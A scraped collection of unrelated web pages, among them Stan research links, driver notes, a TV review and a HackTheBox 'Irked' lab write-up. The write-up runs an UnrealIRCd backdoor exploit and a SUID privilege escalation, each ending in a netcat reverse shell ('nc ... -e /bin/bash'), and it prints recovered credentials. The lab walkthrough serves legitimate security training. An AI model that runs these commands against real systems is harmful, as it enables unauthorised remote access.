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Tapered, French-style rolling pins offer far better control than pins with handles, and they're also easier to clean. This 23-inch maple pin is "ideal for rolling rounds of crust for pie," writes Hannah Kirshner at The Wirecutter, and it's "sturdy enough to last a lifetime." Buy it at Whetstone Woodenware.
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Education research using Stan
Tutorials
Case Studies
- Item Response Theory Models
- Binary
- Polytomous
- Cognitive Diagnosis Models
R packages
- edstan: Stan Models for Item Response Theory
- rstanarm: Bayesian Applied Regression Modeling via Stan
- rethinking: Statistical Rethinking course and book package
Publications
Education-related publications on Stan
Grant, R. L., Furr, D. C., Carpenter, B., & Gelman, A. (2016). Fitting Bayesian item response models in Stata and Stan. arXiv preprint arXiv:1601.03443. In press.
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Gelman, A., Lee, D., & Guo, J. (2015). Stan: A probabilistic programming language for Bayesian inference and optimization. Journal of Educational and Behavioral Statistics, 40, 530-543.
Education-related publications using Stan
Gale, J., Ooms, A., Grant, R., Paget, K., & Marks-Maran, D. (2016). Student nurse selection and predictability of academic success: The Multiple Mini Interview project. Nurse Education Today, 40, 123-127.
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Tan, J. Y. C. (2013). Mathematical modelling and statistical analysis of school-based student performance data (Doctoral dissertation). School of Mathematical Sciences, University of Adelaide, Adelaide, South Australia.
Books
McElreath, R. (2016). Statistical rethinking: A Bayesian course with examples in R and Stan (Vol. 122). CRC Press.
If you know further publications, please contact Sophia Rabe-Hesketh (sophiarh@berkeley.edu).


Harold Thimbleby
Various formal measures of usability for a system described as a state machine connected by a graph of transitions.
Graph theory, State Machine, Usability, Formalism, Complexity
"The motivation of the present work is to make a contribution to user interface design, specifically to discuss ways of measuring usability from design, from specifications rather than implementations."
"Ideally, of course, user interfaces should be empirically evaluated and then improved, but in practice many products are designed and then fobbed off to users, with little opportunity for improvements."
"This paper suggests treating user interfaces as finite state machines, and using graph theory as an analytic framework. The approach is not contentious, but means that many (even obvious) faults in user interfaces will not be addressed."
"although there may be a direct way to give the user a model, doing so can be assumed to interfere with the user's task"
"we may be safe in assuming that the larger the length of a complete manual is, the less usable the system"
"much complexity arises from pedantry in what we wish to describe. If users can be assumed to understand the numbers involved in times, then we do not need to describe every possible change of time: instead all times can be treated equivalently. The alarm clock becomes about 3 augmented states."
"We have argued that very many direct measures of usability can be obtained at design time. These measures have to be used judiciously, but they are easy to obtain and give direct indicators of usability."


the BigInteger number
the binary string
Converts a decimal number to binary string
number to parse
the binary string representation of number
Converts a decimal number to binary octet (8 bit) string. If needed the octet will be padded with zeros to make it up to 8 bits
to convert to octet string
the octet string representation of given number
Given an IPv4 number in dot-decimal notated string, e.g <IP_ADDRESS> converts it to binary string, e.g. '11000000101010000000000000000001'
IPv4 string in dot-decimal notation
the binary value of the given ipv4 number in string
Calculates the log, to base 2 of given number.
the number to calculate log base 2
the log base 2 of given number
Given a binary string, adds a number of zero to the left until string is as long as the given string length
the string to pad
the final length of string after padding
Parses number in binary to number in BigInteger
binary number in string to parse
binary number in BigInteger
Generated using TypeDoc
Converts a given BigInteger number to a binary string


Component Class
Description here
Copyright (c) 2016 ItsAsbreuk - http://itsasbreuk.nl
New BSD License - http://choosealicense.com/licenses/bsd-3-clause/
Item Index
Methods
Methods
render
()
React render-method --> renderes the Component.
Returns:
ReactComponent
Properties
shadedPercent
Boolean
The percentage that a SECOND shaded progressline is filled,
which should go further than percent
.
As from the percent
the line will continue semi-transparent.
Default: true
startGradient
Boolean
Whether the progressline should start with a gradient.
Only visible when startMarker
is false.
Default: true


Binge Or Cringe: Is Living With Yourself Worth Your Time?
by SpotboyE TeamNetflix’s latest offering, is a comedy series called Living With Yourself that stars Friends actor Paul Rudd in the lead role. Let’s find out if the series manages to keep us entertained throughout
Netflix’s latest offering, is a comedy series called Living With Yourself that stars Friends actor Paul Rudd in the lead role. The show delves into a unique and interesting concept. Paul Rudd’s character of Miles Eliott is struggling in his personal and professional lives.
To bring about change and good luck, he decides to visit a special kind of spa which could help his life turn around. He finds an exact clone version of himself who’s quite better than him. So, his life takes a huge turn and what happens next is something you would only discover once you watch the show.
Living With Yourself boasts of some steamy scenes, strong language and violence. We suggest you to possibly watch this with your clone and not with your family.
The show is quite breezy as it comprises of just 8 episodes that are of 30 minutes each. Paud Rudd’s performance is quite impressive and makes the show even more interesting to watch. The show will raise questions in your mind- Do you really need a better version of yourself?
Our final verdict- the show is definitely bingeworthy!
Image Source:- youtube/netflix


Ghana striker Jordan Ayew shortlisted for 2019 African Player of the year award
Ghana and Crystal Palace forward Jordan Ayew has been shortlisted among 30 players who have been nominated for the 2019 African Player of the year award.
CAF announced the 30-man shortlist on Sunday morning with Ayew and Thomas Partey being the only Ghanaians making the cut.
Ayew's nomination comes following an impressive start to the 2019/2020 Premier League season and an intriguing campaign in the year with the national team.
The 28-year-old has netted four goals in twelve games for the Eagles in the English top-flight this term.
Ayew has gone ahead to win two player of the month awards at club level this season.
The former Aston Villa, Olympique Marseille and Swansea City star was Ghana's main man at the 2019 Africa Cup of Nations as he bagged two goals for the Black Stars.
The 30-man list will be pruned down to three before the awards ceremony on Tuesday, 7 January 2020 at the Citadel Azure, Hurgada, Egypt.
Egypt and Liverpool FC key man Mohamed Salah won the prestigious award last year in Dakar, Senegal.


Searchable, Sortable, Responsive Table
| # | Participant | Sessions | Activation Year | Facility |
|---|---|---|---|---|
| 1 | George Martin | two | 1997 | Dallas, TX |
| 2 | Adam Benson | one | 1997 | Baltimore, MD |
| 3 | Thomas Maxwell | two | 1999 | Dallas, TX |
| 4 | James Harte | two | 1987 | Houston, TX |
| 5 | James Latham | two | 1985 | San Francisco, CA |
| 6 | Quincy Peebles | one | 1989 | San Francisco, CA |
| 7 | Andrew Taylor | two | 2007 | Seattle, WA |
| 8 | Van Benson Heinz | one | 2001 | Modesto, CA |
| 9 | Henry Stevens | three | 2011 | Sacramento, CA |
| 10 | Tyler Hayes | three | 2008 | Colorado Springs, CA |
| 11 | Kim Chaiseman | one | 2009 | Seattle, WA |
| 12 | Zachary Penmore | three | 2014 | Tacoma, WA |
| 13 | Amy Fillmore | three | 2006 | Albany, NY |
| 14 | Franklin Nixon Jr | one | 2010 | Miami, FL |
| 15 | Carrie Buchanan | one | 1999 | San Diego, CA |
| 16 | Tyler McMann | three | 2013 | Baltimore, MD |
| 17 | Andrew Wilson | three | 2014 | Colorado Springs, CO |
| 18 | Charles Grant | two | 2009 | Houston, TX |


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Rx_Drop_Off_Locations
|
Rx drop off locations |
|
acs
|
American Community Survey - Computer Presence |
|
asac_locations
|
Location of ASAC (Area Substance Abuse Counseling) in Iowa |
|
cf_resources
|
Community and Family Resources |
|
childcare
|
Childcare Providers |
|
churches
|
Location of churches in Iowa |
|
colleges
|
Location of colleges and universities in Iowa |
|
cross_mental_health
|
Cross Mental Health Data |
|
gambling
|
Licensed Substance Use Disorder/Problem Gambling Programs |
|
get_meetings()
|
Get set of meetings for a time range based on schedule |
|
health.clinics
|
Location of rural health clinics in Iowa |
|
hospital_buildings
|
Iowa Hospital Buildings |
|
hospitals
|
Location of hospitals in Iowa |
|
ia_cities
|
Location of Iowa's cities |
|
ia_counties
|
Shapefiles of Iowa's counties |
|
ia_education
|
Educational Attainment in Iowa by county |
|
ia_election_2016
|
US presidential election 2016 precinct level results for Iowa |
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ia_election_2020
|
US presidential election 2020 precinct level results for Iowa |
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ia_features
|
Physical and Cultural Geographic Features in Iowa |
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ia_precincts
|
2016 precincts of Iowa |
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iowa_211
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Iowa 211 data |
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iowaworks
|
Location of IowaWORKS Centers in Iowa |
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mat_locations
|
Location of MAT in Iowa |
|
meetings
|
Alcoholic and Narcotics Anonymous Meetings in Iowa |
|
official_usa
|
Hospital Statistics in Iowa |
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parks
|
Location of parks in Iowa |
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recovery
|
Recovery data |
|
regional_MHDS
|
Iowa Mental Health and Disability Services |
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regional_substance_treatment
|
Comprehensive Substance Abuse Prevention Grant Facilities |
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scbhr_mhds
|
South Central Behavioral Health Region resource directory |
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southwest_mhds
|
Southwest Iowa Region Mental Health & Disability Services |
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specialty_courts
|
Specialty Courts in Iowa |
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sud
|
Location of Licensed Substance Use Disorder/Problem Gambling Programs in Iowa |
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treatment_facilities
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Substance use treatment facilities |
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va_medical_centers
|
VA Medical Centers in Iowa |
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wiki_hospitals
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Hospitals in Iowa |
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workforce_development
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Workforce development centers in Iowa |
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zip10_ia
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Zipcode shapefiles based on the 2010 US Census |


HTB - Irked
IP - <IP_ADDRESS>
Overview
This box was an easy level linux box on HTB created by MrAgent , it started with finding unrealircd
running on the box and using a nse script to pop a shell on the box using the backdoor that was in unrealircd
. After basic enumeration we found a .backup
which had a password, we use that password in steghide
to extract the password of user djmardov
from the image in /var/www/html/
, We gain the root access by exploiting a SUID binary named viewuser
.
Enumeration
Let’s start our enumeration process using Autorecon .
┌─[fumenoid@parrot]─[~/Desktop/Fumenoid/Pentest/HTB/Irked_Rooted]
└──╼ $sudo /opt/AutoRecon/src/autorecon/autorecon.py -o . <IP_ADDRESS>
And here is our full tcp nmap result.
# Nmap 7.80 scan initiated Sat Sep 26 15:06:24 2020 as: nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN /home/fumenoid/Desktop/Fumenoid/Pentest/HTB/Irked/<IP_ADDRESS>/scans/_full_tcp_nmap.txt -oX /home/fumenoid/Desktop/Fumenoid/Pentest/HTB/Irked/<IP_ADDRESS>/scans/xml/_full_tcp_nmap.xml <IP_ADDRESS>
Increasing send delay for <IP_ADDRESS> from 0 to 5 due to 134 out of 446 dropped probes since last increase.
adjust_timeouts2: packet supposedly had rtt of -809250 microseconds. Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -809250 microseconds. Ignoring time.
Nmap scan report for <IP_ADDRESS>
Host is up, received user-set ( 0.084s latency) .
Scanned at 2020-09-26 15:06:32 IST for 1507s
Not shown: 65528 closed ports
Reason: 65528 resets
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 6.7p1 Debian 5+deb8u4 ( protocol 2.0)
| [ REDACTED]
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.10 (( Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.10 ( Debian)
|_http-title: Site doesnt have a title ( text/html) .
111/tcp open rpcbind syn-ack ttl 63 2-4 ( RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 34864/udp6 status
| 100024 1 54838/udp status
| 100024 1 55873/tcp status
|_ 100024 1 58376/tcp6 status
6697/tcp open irc syn-ack ttl 63 UnrealIRCd
8067/tcp open irc syn-ack ttl 63 UnrealIRCd
55873/tcp open status syn-ack ttl 63 1 ( RPC #100024)
65534/tcp open irc syn-ack ttl 63 UnrealIRCd
|_irc-info: Unable to open connection
Aggressive OS guesses: Linux 3.2 - 4.9 ( 95%) , Linux 3.16 ( 95%) , Linux 3.18 ( 95%) , ASUS RT-N56U WAP ( Linux 3.4) ( 95%) , Linux 3.1 ( 93%) , Linux 3.2 ( 93%) , Linux 3.10 - 4.11 ( 93%) , Oracle VM Server 3.4.2 ( Linux 4.1) ( 93%) , Linux 3.12 ( 93%) , Linux 3.13 ( 93%)
No exact OS matches for host ( If you know what OS is running on it, see https://nmap.org/submit/ ) .
[ REDACTED]
# Nmap done at Sat Sep 26 15:31:39 2020 -- 1 IP address (1 host up) scanned in 1515.54 seconds
Among the open ports, 6697,8067,55873,65534
related to irc
and the webserver
on port 80
seems intresting, I am gonna start with enumerating webserver.
Enumerating the web server
IRC is almost working!
..hmm, did some basic enum on webserver like checking for robots.txt
, directory fuzzing and nikto scan but wasn’t able to find anything useful, time to jump to IRC
.
A simple google search for Unrealircd exploits
lead me to this nmap script which can be used to find a backdoor which was in Unrealircd and can also be used to execute commands. Starting a netcat listener using rlwrap nc -lvnp 9889
and running the nmap script to get a shell using netcat.
┌─[fumenoid@parrot]─[~/Desktop/Fumenoid/Pentest/HTB/Irked]
└──╼ $nmap -d -p 6697,8067,55873,65534 --script = irc-unrealircd-backdoor.nse --script-args = irc-unrealircd-backdoor.command= 'nc <IP_ADDRESS> 9889 -e /bin/bash' <IP_ADDRESS>
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-27 01:46 IST
[ Redacted]
Scanned at 2020-09-27 01:46:26 IST for 29s
PORT STATE SERVICE REASON
6697/tcp open ircs-u syn-ack
8067/tcp open infi-async syn-ack
|_irc-unrealircd-backdoor: Server closed connection, possibly due to too many reconnects. Try again with argument irc-unrealircd-backdoor.wait set to 100 ( or higher if you get this message again) .
55873/tcp closed unknown conn-refused
65534/tcp open unknown syn-ack
Final times for host: srtt: 82506 rttvar: 27284 to: 191642
NSE: Script Post-scanning.
NSE: Starting runlevel 1 ( of 1) scan.
Initiating NSE at 01:46
Completed NSE at 01:46, 0.00s elapsed
Nmap done : 1 IP address ( 1 host up) scanned in 29.35 seconds
It detected a backdoor, checking the netcat listner.
┌─[fumenoid@parrot]─[~/Desktop/Fumenoid/Pentest/HTB/Irked]
└──╼ $rlwrap nc -lvnp 9889
listening on [ any] 9889 ...
connect to [ <IP_ADDRESS>] from ( UNKNOWN) [ <IP_ADDRESS>] 39502
whoami
ircd
id
uid = 1001( ircd) gid = 1001( ircd) groups = 1001( ircd)
And we got a shell on the server.
Getting User
During basic enumeration we get a file .backup
in user djmardov
Documents directory.
ircd@irked:/home/djmardov/Documents$ ls -la
ls -la
total 16
drwxr-xr-x 2 djmardov djmardov 4096 May 15 2018 .
drwxr-xr-x 18 djmardov djmardov 4096 Nov 3 2018 ..
-rw-r--r-- 1 djmardov djmardov 52 May 16 2018 .backup
-rw------- 1 djmardov djmardov 33 May 15 2018 user.txt
ircd@irked:/home/djmardov/Documents$ cat .backup
cat .backup
Super elite steg backup pw
UPupDOWNdownLRlrBAbaSSss
ircd@irked:/home/djmardov/Documents$
Super elite steg backup pw
, seems like a password for steghide. After some more enumeration I figured it will be the image on webserver as there wasn’t any image in user djmardov
home directory.
┌─[fumenoid@parrot]─[~/Desktop/Fumenoid/Pentest/HTB/Irked]
└──╼ $wget <IP_ADDRESS>/irked.jpg
--2020-09-27 00:59:16-- http://<IP_ADDRESS>/irked.jpg
Connecting to <IP_ADDRESS>:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 34697 ( 34K) [ image/jpeg]
Saving to: ‘irked.jpg’
irked.jpg 100%[========>] 33.88K -- .-KB/s in 0.1s
2020-09-27 00:59:16 ( 320 KB/s) - ‘irked.jpg’ saved [ 34697/34697]
┌─[fumenoid@parrot]─[~/Desktop/Fumenoid/Pentest/HTB/Irked]
└──╼ $steghide extract -sf irked.jpg
Enter passphrase:
wrote extracted data to "pass.txt" .
┌─[fumenoid@parrot]─[~/Desktop/Fumenoid/Pentest/HTB/Irked]
└──╼ $cat pass.txt
Kab6h+m+bbp2J:HG
We got the creds of user djmardov
and now we can ssh into the server using these creds.
djmardov:Kab6h+m+bbp2J:HG
Rooting the box
Checking SUID
binaries, and viewuser
looks intresting.
djmardov@irked:~$ find / -type f -perm -4000 2>/dev/null
find / -type f -perm -4000 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/spice-gtk/spice-client-glib-usb-acl-helper
/usr/sbin/exim4
/usr/sbin/pppd
/usr/bin/chsh
/usr/bin/procmail
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/at
/usr/bin/pkexec
/usr/bin/X
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/viewuser
/sbin/mount.nfs
/bin/su
/bin/mount
/bin/fusermount
/bin/ntfs-3g
/bin/umount
Running the viewuser
binary and it errored out D:
djmardov@irked:~$ viewuser
viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
( unknown) :0 2020-09-26 16:15 ( :0)
sh: 1: /tmp/listusers: not found
Creating the file /tmp/listusers
myself and re-running the binary.
djmardov@irked:~$ echo "test" > /tmp/listusers
echo "test" > /tmp/listusers
djmardov@irked:~$ viewuser
viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
( unknown) :0 2020-09-26 16:15 ( :0)
sh: 1: /tmp/listusers: Permission denied
Permission denied
, maybe /tmp/listusers
file a executable.
djmardov@irked:~$ chmod +x /tmp/listusers
chmod +x /tmp/listusers
djmardov@irked:~$ viewuser
viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
( unknown) :0 2020-09-26 16:15 ( :0)
Yes worked, let’s try command execution using those escalated priv.
djmardov@irked:~$ echo "id" > /tmp/listusers
echo "id" > /tmp/listusers
djmardov@irked:~$ viewuser
viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
( unknown) :0 2020-09-26 16:15 ( :0)
uid = 0( root) gid = 1000( djmardov) groups = 1000( djmardov) ,24( cdrom) ,25( floppy) ,29( audio) ,30( dip) ,44( video) ,46( plugdev) ,108( netdev) ,110( lpadmin) ,113( scanner) ,117( bluetooth)
Let’s use this SUID binary to get a shell with uid=0
.
djmardov@irked:~$ echo "nc <IP_ADDRESS> 9001 -e /bin/bash" > /tmp/listusers
echo "nc <IP_ADDRESS> 9001 -e /bin/bash" > /tmp/listusers
djmardov@irked:~$ viewuser
viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
( unknown) :0 2020-09-26 16:15 ( :0)
Looking at our rev shell, and yes we got a connection.
┌─[fumenoid@parrot]─[~/Desktop/Fumenoid/Pentest/HTB/Irked]
└──╼ $rlwrap nc -lvnp 9001
listening on [ any] 9001 ...
connect to [ <IP_ADDRESS>] from ( UNKNOWN) [ <IP_ADDRESS>] 58647
id
uid = 0( root) gid = 1000( djmardov) groups = 1000( djmardov) ,24( cdrom) ,25( floppy) ,29( audio) ,30( dip) ,44( video) ,46( plugdev) ,108( netdev) ,110( lpadmin) ,113( scanner) ,117( bluetooth)
cd /root
wc -c root.txt
33 root.txt


The following problems still exist in this release and are in the process of being resolved.
Known Issues
Single-threaded applications that use dlopen() to load NVIDIA's libGL library, and then use dlopen() to load any other library that is linked against libpthread will crash in libGL. This does not happen in NVIDIA's new ELF TLS OpenGL libraries (see Chapter 5, Listing of Installed Components for a description of the ELF TLS OpenGL libraries). Possible workarounds for this problem are:
Load the library that is linked with libpthread before loading libGL.
Link the application with libpthread.
Cache aliasing occurs when multiple mappings to a physical page of memory have conflicting caching states, such as cached and uncached. Due to these conflicting states, data in that physical page may become corrupted when the processor's cache is flushed. If that page is being used for DMA by a driver such as NVIDIA's graphics driver, this can lead to hardware stability problems and system lockups.
NVIDIA has encountered bugs with some Linux kernel versions that lead to cache aliasing. Although some systems will run perfectly fine when cache aliasing occurs, other systems will experience severe stability problems, including random lockups. Users experiencing stability problems due to cache aliasing will benefit from updating to a kernel that does not cause cache aliasing to occur.
NVIDIA GPUs advertise a 64-bit BAR capability (a Base Address Register stores the location of a PCI I/O region, such as registers or a frame buffer). This means that the GPU's PCI I/O regions (registers and frame buffer) can be placed above the 32-bit address space (the first 4 gigabytes of memory).
The decision of where the BAR is placed is made by the system BIOS at boot time. If the BIOS supports 64-bit BARs, then the NVIDIA PCI I/O regions may be placed above the 32-bit address space. If the BIOS does not support this feature, then our PCI I/O regions will be placed within the 32-bit address space as they have always been.
Unfortunately, some Linux kernels (such as 2.6.11.x) do not understand or support 64-bit BARs. If the BIOS does place any NVIDIA PCI I/O regions above the 32-bit address space, such kernels will reject the BAR and the NVIDIA driver will not work.
The only known workaround is to upgrade to a newer kernel.
The NVIDIA OpenGL implementation makes use of self modifying code. To force Valgrind to retranslate this code after a modification you must run using the Valgrind command line option:
--smc-check=all
Without this option Valgrind may execute incorrect code causing incorrect behavior and reports of the form:
==30313== Invalid write of size 4
The ALSA audio driver in some Linux kernels contains a bug affecting some systems with integrated graphics that causes the display to go blank on some HDMI TVs whenever audio is not being played. This bug occurs when the ALSA audio driver configures the HDMI hardware to send an HDMI audio info frame that contains an invalid checksum.
To ensure proper display, please make sure your Linux kernel contains commit 1f348522844bb1f6e7b10d50b9e8aa89a2511b09. This fix is in Linux 2.6.39-rc3 and later, and may be be back-ported to some older kernels.
The Linux NVIDIA driver uses Message Signaled Interrupts (MSI) by default. This provides compatibility and scalability benefits, mainly due to the avoidance of IRQ sharing.
Some systems have been seen to have problems supporting MSI, while working fine with virtual wire interrupts. These problems manifest as an inability to start X with the NVIDIA driver, or CUDA initialization failures. The NVIDIA driver will then report an error indicating that the NVIDIA kernel module does not appear to be receiving interrupts generated by the GPU.
Problems have also been seen with suspend/resume while MSI is enabled. All known problems have been fixed, but if you observe problems with suspend/resume that you did not see with previous drivers, disabling MSI may help you.
NVIDIA is working on a long-term solution to improve the driver's out of the box compatibility with system configurations that do not fully support MSI.
MSI interrupts can be disabled via the NVIDIA kernel module parameter "NVreg_EnableMSI=0". This can be set on the command line when loading the module, or more appropriately via your distribution's kernel module configuration files (such as those under /etc/modprobe.d/).
The Linux NVIDIA driver uses the nvidia-modeset module for console restore whenever it can. Currently, the improved console restore mechanism is used on systems that boot with the UEFI Graphics Output Protocol driver, and on systems that use supported VESA linear graphical modes. Note that VGA text, color index, planar, banked, and some linear modes cannot be supported, and will use the older console restore method instead.
When the new console restore mechanism is in use and the
nvidia-modeset module is initialized (e.g. because an X server is
running on a different VT, nvidia-persistenced is running, or the
nvidia_drm module is loaded with the modeset=1
parameter), then nvidia-modeset
will respond to hot plug events by displaying the console on as
many displays as it can. Note that to save power, it may not
display the console on all connected displays.
Starting with the X.Org X server version 1.20.7, it is possible to enumerate all the NVIDIA devices in the system if the application is able to open a connection to the X server. However, such applications will only be able to create an Xlib or XCB swapchain on the device driving the X screen. Such a device can be identified by using the vkGetPhysicalDeviceSurfaceSupportKHR() API.
Prior to the X.Org X server version 1.20.7, it is not possible to enumerate multiple devices if one of them will be used to present to an X11 swapchain. It is still possible to enumerate multiple devices even if one of them is driving an X screen, if the devices will be used for Vulkan offscreen rendering or presenting to a display swapchain. For that, make sure that the application cannot open a display connection to an X server by, for example, unsetting the DISPLAY environment variable.
NVIDIA Developer Tools allow developers to debug, profile, and develop software for NVIDIA GPUs. GPU performance counters are integral to these tools. By default, access to the GPU performance counters is restricted to root, and other users with the CAP_SYS_ADMIN capability, for security reasons. If developers require access to the NVIDIA Developer Tools, a system administrator can accept the security risk and allow access to users without the CAP_SYS_ADMIN capability.
Wider access to GPU performance counters can be granted by setting the kernel module parameter "NVreg_RestrictProfilingToAdminUsers=0" in the nvidia.ko kernel module. This can be set on the command line when loading the module, or more appropriately via your distribution's kernel module configuration files (such as those under /etc/modprobe.d/).
If you are using a notebook see the "Known Notebook Issues" in Chapter 16, Configuring a Notebook.
Many games based on the Quake 3 engine set their textures to use
the GL_CLAMP
clamping mode when
they should be using GL_CLAMP_TO_EDGE
. This was an oversight
made by the developers because some legacy NVIDIA GPUs treat the
two modes as equivalent. The result is seams at the edges of
textures in these games. To mitigate this, older versions of the
NVIDIA display driver remap GL_CLAMP
to GL_CLAMP_TO_EDGE
internally to emulate the
behavior of the older GPUs, but this workaround has been disabled
by default. To re-enable it, uncheck the "Use Conformant Texture
Clamping" checkbox in nvidia-settings before starting any affected
applications.
When FSAA is enabled (the __GL_FSAA_MODE environment variable is set to a value that enables FSAA and a multisample visual is chosen), the rendering may be corrupted when resizing the window.
When a multithreaded OpenGL application exits, it is possible for libGL's DSO finalizer (also known as the destructor, or "_fini") to be called while other threads are executing OpenGL code. The finalizer needs to free resources allocated by libGL. This can cause problems for threads that are still using these resources. Setting the environment variable "__GL_NO_DSO_FINALIZER" to "1" will work around this problem by forcing libGL's finalizer to leave its resources in place. These resources will still be reclaimed by the operating system when the process exits. Note that the finalizer is also executed as part of dlclose(3), so if you have an application that dlopens(3) and dlcloses(3) libGL repeatedly, "__GL_NO_DSO_FINALIZER" will cause libGL to leak resources until the process exits. Using this option can improve stability in some multithreaded applications, including Java3D applications.
Canceling a thread (see pthread_cancel(3)) while it is executing in the OpenGL driver causes undefined behavior. For applications that wish to use thread cancellation, it is recommended that threads disable cancellation using pthread_setcancelstate(3) while executing OpenGL or GLX commands.
This section describes problems that will not be fixed. Usually, the source of the problem is beyond the control of NVIDIA. Following is the list of problems:
Problems that Will Not Be Fixed
Version 1.8 of the NV-CONTROL X Extension introduced target types for setting and querying attributes as well as receiving event notification on targets. Targets are objects like X Screens, GPUs and Quadro Sync devices. Previously, all attributes were described relative to an X Screen. These new bits of information (target type and target id) were packed in a non-compatible way in the protocol stream such that addressing X Screen 1 or higher would generate an X protocol error when mixing NV-CONTROL client and server versions.
This packing problem has been fixed in the NV-CONTROL 1.10 protocol, making it possible for the older (1.7 and prior) clients to communicate with NV-CONTROL 1.10 servers. Furthermore, the NV-CONTROL 1.10 client library has been updated to accommodate the target protocol packing bug when communicating with a 1.8 or 1.9 NV-CONTROL server. This means that the NV-CONTROL 1.10 client library should be able to communicate with any version of the NV-CONTROL server.
NVIDIA recommends that NV-CONTROL client applications relink with version 1.10 or later of the NV-CONTROL client library (libXNVCtrl.a, in the nvidia-settings-460.27.04.tar.bz2 tarball). The version of the client library can be determined by checking the NV_CONTROL_MAJOR and NV_CONTROL_MINOR definitions in the accompanying nv_control.h.
The only web released NVIDIA Linux driver that is affected by this problem (i.e., the only driver to use either version 1.8 or 1.9 of the NV-CONTROL X extension) is 1.0-8756.
For some models of CPU, the CPU throttling technology may affect not only CPU core frequency, but also memory frequency/bandwidth. On systems using integrated graphics, any reduction in memory bandwidth will affect the GPU as well as the CPU. This can negatively affect applications that use significant memory bandwidth, such as video decoding using VDPAU, or certain OpenGL operations. This may cause such applications to run with lower performance than desired.
To work around this problem, NVIDIA recommends configuring your CPU throttling implementation to avoid reducing memory bandwidth. This may be as simple as setting a certain minimum frequency for the CPU.
Depending on your operating system and/or distribution, this may be as simple as writing to a configuration file in the /sys or /proc filesystems, or other system configuration file. Please read, or search the Internet for, documentation regarding CPU throttling on your operating system.
If VDPAU gives the VDP_STATUS_NO_IMPLEMENTATION error message on a GPU which was labeled or specified as supporting PureVideo or PureVideo HD, one possible reason is a hardware defect. After ruling out any other software problems, NVIDIA recommends returning the GPU to the manufacturer for a replacement.
Some applications have bugs that are triggered when the extension string is longer than a certain size. As more features are added to the driver, the length of this string increases and can trigger these sorts of bugs.
You can limit the extensions listed in the OpenGL extension
string to the ones that appeared in a particular version of the
driver by setting the __GL_ExtensionStringVersion
environment
variable to a particular version number. For example,
__GL_ExtensionStringVersion=17700 quake3
will run Quake 3 with the extension string that appeared in the 177.* driver series. Limiting the size of the extension string can work around this sort of application bug.
Some versions of the X.Org X server starting with 1.5.0 have a bug that causes X to fail with an error similar to the following when there is more than one GPU in the computer:
(!!) More than one possible primary device found (II) Primary Device is: (EE) No devices detected. Fatal server error: no screens found
This bug was fixed in the X.Org X Server 1.7 release.
You can work around this problem by specifying the bus ID of the device you wish to use. For more details, please search the xorg.conf manual page for "BusID". You can configure the X server with an X screen on each NVIDIA GPU by running:
nvidia-xconfig --enable-all-gpus
Please see Bugzilla bug #18321 for more details on this X server problem. In addition, please see “How do I interpret X server version numbers?” when determining whether your X server is new enough to contain this fix.
Versions of libcogl prior to 1.10.x have a bug which causes
glBlitFramebuffer() calls used to update the window to be clipped
by a 0x0 scissor (see GNOME bug #690451 for more details). To work around this
bug, the scissor test can be disabled by setting the __GL_ConformantBlitFramebufferScissor
environment variable to 0. Note this version of the NVIDIA driver
comes with an application profile which automatically disables this
test if libcogl is detected in the process.
The RandR layer of the X server attempts to ignore redundant RRSetCrtcConfig requests. If the only property changed by an RRSetCrtcConfig request is the transform filter, some X servers will ignore the request as redundant. This can be worked around by also changing other properties, such as the mode, transformation matrix, etc.


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requestCode
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Intro
This is B2 Interactives Bones project. It is a skeleton for the start of a project that uses:
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Node
Node is a platform built on Chrome's JavaScript runtime for easily building fast, scalable network applications. Node.js uses an event-driven, non-blocking I/O model that makes it lightweight and efficient, perfect for data-intensive real-time applications that run across distributed devices.
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Grunt is a Javascript task runner that automates a lot of the compiling processes.
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Bower
Power is a front-end package manager. It is used for installing things such as jquery, angular, bootstrap, etc.
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SASS
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Language Reference:
http://sass-lang.comGrunt Plugin Reference:
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Grunt-Contrib-Imagemin
This is grunts image minimizer that has plenty of different options for you.
https://github.com/gruntjs/grunt-contrib-imagemin -
Grunt-Contrib-JSHint
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Grunt-Contrib-Uglify
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Jade
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Language Reference:
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Grunt-Contrib-Watch
This grunt plugin is used for watching all of your process and running them as you save files.
https://github.com/gruntjs/grunt-contrib-watch
Installing on Windows Machines
To install on a windows machine you are going to need to make sure you install a few different things:
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First thing you need to make sure you have installed is Ruby. Go to http://rubyinstaller.org/downloads/and download the Ruby 2.1.5 installer, either 64-bit or 32-bit depeneding on your machine. Once the download is complete run the application file and make sure it adds it to your PATH. When it is done installing, open your Command Prompt and type:
ruby -v
If this doesn't return an Error and you get a version number it is installed correctly.
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Second thing that you will want to install is SASS. To do this open up your Command Prompt and type:
gem source -a http://rubygems.org
This will bring up a message asking if you want to add this insecure source so type y and hit enter. This is just a work around for an SSL error you would normally recieve using Ruby 2.1.5. Next, you want to install SASS by typing:
gem install -g sass
This may take a minute or two but once it is done type:
sass -v
If this doesn't return an Error and you get a version number it is installed correctly.
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Another thing that you will want to install is Git. There are two options for this (I would suggest the first one), they are:
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This first option is by downloading GitHub for Windows. This will install GitHub's GUI and the command line version of Git as well. To get this download go to https://windows.github.com/and click download. Once the download is finished install the application. Now depending on what is easier to you, you can use the GUI or the Git Power Shell but we will be using the GUI for the purposes of this walk through.
